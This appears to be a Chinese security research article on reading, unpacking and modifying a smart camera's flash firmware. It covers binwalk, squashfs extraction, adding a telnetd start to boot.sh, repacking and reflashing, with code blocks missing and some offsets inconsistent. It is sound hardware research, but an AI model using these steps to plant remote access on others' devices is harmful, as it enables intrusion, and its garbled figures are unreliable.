MX25L128
这款 25 系列 Flash 芯片可以直接在线读取,用夹子
夹住Flash 芯片
,连接编程器即可读取其中的固件。点击
智能识别SmartID
,芯片型号识别成功后点击读取 Read
,最后保存成文件即可。如下图,读取过程非常顺利。.2 固件解压
binwalk
是 devttys0 大神开发的一款固件分析工具,强烈推荐使用Github
上的教程安装,直接apt-get
安装会缺少很多依赖。使用
binwalk
查看固件结构内核编译(make)之后会生成两个文件,一个 Image,一个 zImage,其中 Image 为内核映像文件,而 zImage为内核的一种映像压缩文件。
那么 uImage 又是什么的?它是 uboot 专用的映像文件,它是在 zImage 之前加上一个长度为 64 字节的头部,说明这个内核的版本、加载位置、生成时间、大小等信息;其
0x40
之后与 zImage 没有区别。固件使用的是
squashfs
文件系统,它是一套供 Linux 核心使用的 GPL 开源只读压缩文件系统。所以设备正常运行的时候是不能对固件进行修改的,在前面那部分,我们从串口进去通过修改内核的初始进程的方式进入系统,是由于系统尚未初始化完成,从而获得了对文件系统的读写权限。在固件的后一部分,包含一个可以写入的区域。一个
JFFS2
文件系统,它是在闪存上使用非常广泛的读/写文件系统,设备运行过程中修改过的配置信息和其他数据将被写入这个文件系统中。squashfs
文件系统开始于0x3100000
, 大小为6963644
字节, 用dd
命令提取该文件系统,用unsquashfs
命令解压。4.3 解锁功能
熟悉文件系统结构和已有的命令
很明显,该固件的
Shell
是基于busybox
提供的。从file
指令的结果可以判断该摄像头是 32位 ARM 指令架构。这个
busybox
是静态链接的,不依赖其他的库文件。可以直接利用qemu-arm
模拟运行。当然,我们也可以搭建一个
qemu
虚拟机。在这个网站下载 qemu 虚拟机镜像文件,然后按照如下方式启动虚拟机。
现在我们已经可以确定目标文件系统是存在
telnetd
命令的。在根目录下的boot.sh
文件末尾添加以下内容,使设备在开启时自动启动 telnet 服务。4.4 重新封印
现在,对文件系统的简单修改已经完成了,我们该如何重新打包固件,以便重新刷回到设备呢?
还是从固件结构入手,如下
我们自定义的只是中间的文件系统部分。即
0x3100000 - 0xB00000
这一段。同时,这一段的长度并不等于squashfs
文件系统的大小6963644
字节,squashfs
文件系统末至下一段开始之前有一段0xff
的填充部分。从 uImage 头信息可以看到,
image size
为2217456
, 而squashfs
文件系统的起始位置为3670016
,没有对squashfs
文件系统做CRC
检验。根据以上结论判断,我们只需要在不改变原始固件结构的前提下,将修改后的文件系统重新打包成固件。
利用
cat
将各段连接起来4.5 刷回
Cheers,重新打包完成。利用编程器将修改后的固件离线刷入固件存储芯片即可。(在线刷各种坑,建议离线写入)
4.6 成果
可以看到,我们成功开启了该摄像头的
telnet
服务。0x05 总结
对智能设备的软硬件有足够的了解是深入挖掘设备漏洞的基础。本文是在对摄像头等物联网设备研究过程中的一些经验总结,希望对大家有所帮助。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/649/